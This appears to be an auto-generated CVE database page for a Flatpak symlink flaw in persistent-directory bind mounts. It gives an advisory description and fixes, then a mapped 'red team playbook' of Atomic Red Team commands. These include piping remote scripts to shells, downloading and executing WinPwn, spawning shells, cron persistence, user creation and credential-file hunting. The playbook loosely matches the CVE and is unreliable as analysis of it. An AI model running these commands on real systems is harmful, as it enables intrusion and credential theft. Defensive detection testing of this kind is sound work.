CVE-2024-42472

Overview

This vulnerability is a symlink traversal flaw in Flatpak's persistent directory handling mechanism. The root cause lies in the bind mount operation following symbolic links when the persistent directory source is replaced by a symlink. The affected component is the Flatpak sandboxing framework's handling of the --persist=subdir application permission, which improperly mounts directories outside the intended sandbox environment.

Vulnerability Description

Flatpak is a Linux application sandboxing and distribution framework. Prior to versions 1.14.0 and 1.15.10, a malicious or compromised Flatpak app using persistent directories could access and write files outside of what it would otherwise have access to, which is an attack on integrity and confidentiality. When `persistent=subdir` is used in the application permissions (represented as `--persist=subdir` in the command-line interface), that means that an application which otherwise doesn't have access to the real user home directory will see an empty home directory with a writeable subdirectory `subdir`. Behind the scenes, this directory is actually a bind mount and the data is stored in the per-application directory as `~/.var/app/$APPID/subdir`. This allows existing apps that are not aware of the per-application directory to still work as intended without general home directory access. However, the application does have write access to the application directory `~/.var/app/$APPID` where this directory is stored. If the source directory for the `persistent`/`--persist` option is replaced by a symlink, then the next time the application is started, the bind mount will follow the symlink and mount whatever it points to into the sandbox. Partial protection against this vulnerability can be provided by patching Flatpak using the patches in commits ceec2ffc and 98f79773. However, this leaves a race condition that could be exploited by two instances of a malicious app running in parallel. Closing the race condition requires updating or patching the version of bubblewrap that is used by Flatpak to add the new `--bind-fd` option using the patch and then patching Flatpak to use it. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=bwrap` (1.15.x) or `--with-system-bubblewrap=bwrap` (1.14.x or older), or a similar option, then the version of bubblewrap that needs to be patched is a system copy that is distributed separately, typically `/usr/bin/bwrap`. This configuration is the one that is typically used in Linux distributions. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=` (1.15.x) or with `--without-system-bubblewrap` (1.14.x or older), then it is the bundled version of bubblewrap that is included with Flatpak that must be patched. This is typically installed as `/usr/libexec/flatpak-bwrap`. This configuration is the default when building from source code. For the 1.14.x stable branch, these changes are included in Flatpak 1.14.10. The bundled version of bubblewrap included in this release has been updated to 0.6.3. For the 1.15.x development branch, these changes are included in Flatpak 1.15.10. The bundled version of bubblewrap in this release is a Meson "wrap" subproject, which has been updated to 0.10.0. The 1.12.x and 1.10.x branches will not be updated for this vulnerability. Long-term support OS distributions should backport the individual changes into their versions of Flatpak and bubblewrap, or update to newer versions if their stability policy allows it. As a workaround, avoid using applications using the `persistent` (`--persist`) permission.

Impact

An unauthenticated attacker controlling a Flatpak app can manipulate symlinks to gain unauthorized write access to files outside the sandbox, violating system integrity and confidentiality. This attack requires local code execution within the Flatpak app context but no elevated privileges or user interaction. Exploitation enables data tampering or leakage by mounting arbitrary directories into the sandboxed environment, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N.

Solution

Upgrade Flatpak to version 1.14.10 or later for the stable branch, or 1.15.10 or later for the development branch, which include patches addressing this vulnerability. Ensure the bundled bubblewrap is updated to at least version 0.6.3 (stable) or 0.10.0 (development). For systems using system bubblewrap, patch the external /usr/bin/bwrap accordingly. Refer to the Flatpak security advisory GHSA-7hgv-f2j8-xw87 and the bubblewrap commits 68e75c3091c87583c28a439b45c45627a94d622c and a253257cd298892da43e15201d83f9a02c9b58b5 for detailed patch instructions. As a workaround, avoid using applications with the persistent (--persist) permission.

Analysis not available for this CVE.

Affected Products (3)

	Vendor	Product	Version	CPE
F	Flatpak	Flatpak	All	cpe:2.3:a:flatpak:flatpak:*:*:*:*:*:*:*:*
F	Flatpak	Flatpak	All	cpe:2.3:a:flatpak:flatpak:*:*:*:*:*:*:*:*
D	Debian	Debian Linux	11.0	cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Attack Vectors ML

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

CAPEC Attack Patterns ML

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

netstat -ano
net use
net sessions 2>nul

netstat
who -a

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

Get-NetTCPConnection

echo "#{command}" > /etc/cron.d/#{cron_script_name}

echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}

crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

uname -srm

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

chmod +x #{autosuid}
bash #{autosuid}

chmod +x #{linenum}
bash #{linenum}

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

awk 'BEGIN {system("/bin/sh &")}'

busybox sh &

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

cat /etc/shells 

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

python2 laZagne.py all

grep -ri password #{file_path}
exit 0

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

find #{file_path}/.aws -name "credentials" -type f 2>/dev/null

find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null

find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (12)